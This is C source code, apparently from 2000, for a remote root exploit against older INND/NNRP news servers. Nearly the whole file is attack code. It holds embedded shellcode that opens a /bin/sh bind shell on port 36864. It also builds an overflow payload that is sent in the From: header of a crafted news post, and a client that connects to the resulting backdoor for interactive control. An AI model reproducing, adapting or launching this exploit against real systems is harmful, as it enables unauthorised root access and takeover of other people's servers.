/*
 *          ->  PRIVATE. DO NOT USE / DO NOT DISTRIBUTE.  <-
 *  
 *  INND/NNRP remote root overflow
 *  Affects INND/NNRP versions prior to 1.6.X.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

/*
 *  Define this if you want to send a `MODE READER` command to the remote
 *  INND/NNRP server before attempting to post a message. If you get lots
 *  of `syntax error` messages, try this.
 */
/* #define SEND_MODE_READER */

#define NNRP_PRT                119
#define BD_PRT                  36864
#define ADDR                    0xbfffe824
#define RETPOS                  716

char c0de[] =
  "\xeb\x49\x5e\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89\x46\x08
"
  "\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90\x66\x89
"
  "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0
"
  "\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb\x02\xeb
"
  "\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29\xc9\xb0
"
  "\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69\x6e\x40
"
  "\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08
"
  "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0\x40\xcd
"
  "\x80\xe8\x64\xff\xff\xff";

u_long
resolve_host(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;
    
    addr.s_addr = inet_addr(host_name);
    if (addr.s_addr == -1)
    {
        host_ent = gethostbyname(host_name);
        if (!host_ent) return(0);
        memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }
    
    return(addr.s_addr);
}

void
colombian_necktie(u_long dst_ip)
{
    struct sockaddr_in sin;
    u_char sock_buf[4096];
    fd_set fds;
    int sock;
    
    sleep(2);
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == -1)
    {
        perror("socket allocation");
        exit(-1);
    }
    
    sin.sin_family = AF_INET;
    sin.sin_port   = htons(BD_PRT);
    sin.sin_addr.s_addr = dst_ip;
    
    if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
        perror("connecting to backdoor");
        close(sock);
        exit(-1);
    }
    
    fprintf(stderr, "owned\n");
    for (;;)
    {
        FD_ZERO(&fds);
        FD_SET(0, &fds); /* STDIN_FILENO */
        FD_SET(sock, &fds);
        
        if (select(255, &fds, NULL, NULL, NULL) == -1)
        {
            perror("select");
            close(sock);
            exit(-1);
        }
        
        memset(sock_buf, 0, sizeof(sock_buf));
        
        if (FD_ISSET(sock, &fds))
        {
            if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1)
            {
                fprintf(stderr, "Connection closed by remote host.\n");
                close(sock);
                exit(0);
            }
            
            fprintf(stderr, "%s", sock_buf);
        }
        
        if (FD_ISSET(0, &fds))
        {
            read(0, sock_buf, sizeof(sock_buf));
            write(sock, sock_buf, strlen(sock_buf));
        }
    }
    
    /* NOTREACHED */
}

static u_char *
evil_playground(u_int offset)
{
    static u_char predator[10000];
    u_char buf[4096];
    u_long addr   = ADDR + offset;
    u_long retpos = RETPOS;
    int i = 0, j = 0;
    
    memset(buf, 0x90, sizeof(buf));
    memset(predator, 0, sizeof(predator));
    
    for (i = retpos - strlen(c0de); i < retpos; j++, i++)
    {
        buf[i] = c0de[j];
    }
    
    buf[i+0] = (addr & 0xff);
    buf[i+1] = (addr >> 8) & 0xff;
    buf[i+2] = (addr >> 16) & 0xff;
    buf[i+3] = (addr >> 24) & 0xff;
    buf[i+4] = 0;
    
    snprintf(predator, sizeof(predator),
            "group alt.dev.null\r\n"
            "post\r\n"
            "Subject: Breaking security r0x\r\n"
            "Message-ID: <242242242242242.242@horribly.broken>\r\n"
            "path: horribly!broken!shattered!hopes!insecure.fla\r\n"
            "From: r00tin@%s\r\n"
            "Organization: Or lack thereof\r\n"
            "Newsgroups: alt.dev.null\r\n\r\n"
            "We have no sekurity. Please feel free to root uz.\r\n"
            ".\r\n", buf);
    
    return(predator);
}

void
recv_data(int sock)
{
    u_char recv_buf[4096];
    
    memset(recv_buf, 0, sizeof(recv_buf));
    if (recv(sock, recv_buf, sizeof(recv_buf), 0) == -1)
    {
        perror("recv");
        close(sock);
        exit(-1);
    }
    
    fprintf(stderr, "%s\n", recv_buf);
}

int
send_data(int sock, u_char *buf)
{
    int res = 0;
    
    res = write(sock, buf, strlen(buf));
    if (res == -1)
    {
        perror("write");
        close(sock);
        exit(-1);
    }
    
    return(res);
}

void
reclamation(u_long dst_ip, u_short src_prt, u_int offset)
{
    struct sockaddr_in sin;
    u_char buf[15000];
    int sock;
    
    memset(buf, 0, sizeof(buf));
    strncpy(buf, evil_playground(offset), sizeof(buf)-1);
    
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == -1)
    {
        perror("socket allocation");
        exit(-1);
    }
    
    if (src_prt)
    {
        struct sockaddr_in min;
        
        min.sin_family = AF_INET;
        min.sin_port   = htons(src_prt);
        min.sin_addr.s_addr = INADDR_ANY;
        
        if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
        {
            perror("bind");
            close(sock);
            exit(-1);
        }
    }
    
    sin.sin_family = AF_INET;
    sin.sin_port   = htons(NNRP_PRT);
    sin.sin_addr.s_addr = dst_ip;
    
    if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
        perror("connecting to innd daemon");
        close(sock);
        exit(-1);
    }
    
    /*
     *  Get the remote INND/NNRP server's banner.
     */
    recv_data(sock);
    
#ifdef SEND_MODE_READER
    send_data(sock, "MODE READER\r\n");
    usleep(15000);
    recv_data(sock);
#endif /* SEND_MODE_READER */
    
    /*
     *  Send the news post containing the overflow in the From: field.
     */
    send_data(sock, buf);
    
    /*
     *  Receive any more data the remote end iz sending.
     */
    sleep(2);
    recv_data(sock);
    
    fprintf(stderr, "Overflow sent, waiting for portshell..\n");
    sleep(5);
    close(sock);
    colombian_necktie(dst_ip);
    
    /* NOTREACHED */
}
        
void
usage(u_char *nomenclature)
{
    fprintf(stderr,
            "No.\nusage:\t%s dst_host|ip [ -s src_prt ] [ -o offset ]\n",
            nomenclature);
    exit(-1);
}

int
main(int argc, char **argv)
{
    u_long  dst_ip     = 0;
    u_short src_prt    = 0;
    u_int   offset     = 0;
    char    opt;
    
    fprintf(stderr, "INND/NNRP 1.6.X remote root overflow\n");
    
    if (argc < 2)
    {
        usage(argv[0]);
        /* NOTREACHED */
    }
    
    dst_ip = resolve_host(argv[1]);
    if (!dst_ip)
    {
        fprintf(stderr, "What kind of address is that: `%s`?\n", argv[1]);
        exit(-1);
    }
    
    while ((opt = getopt(argc, argv, "s:o:")) != EOF)
    {
        switch(opt)
        {
            case 's':
                src_prt  = (u_short)atoi(optarg);
                break;
            case 'o':
                offset   = (u_int)atoi(optarg);
                break;
            default:
                usage(argv[0]);
                /* NOTREACHED */
        }
    }
    
    if (src_prt < 1024 && src_prt != 0)
    {
        if (getuid() && geteuid())
        {
            fprintf(stderr, 
                 "Inadequate privileges (source port specified: `%d`)\n", 
                 src_prt);
            exit(-1);
        }
    }
    
    reclamation(dst_ip, src_prt, offset);
    /* NOTREACHED */
}
/*                   www.hack.co.za   [28 September 2000]*/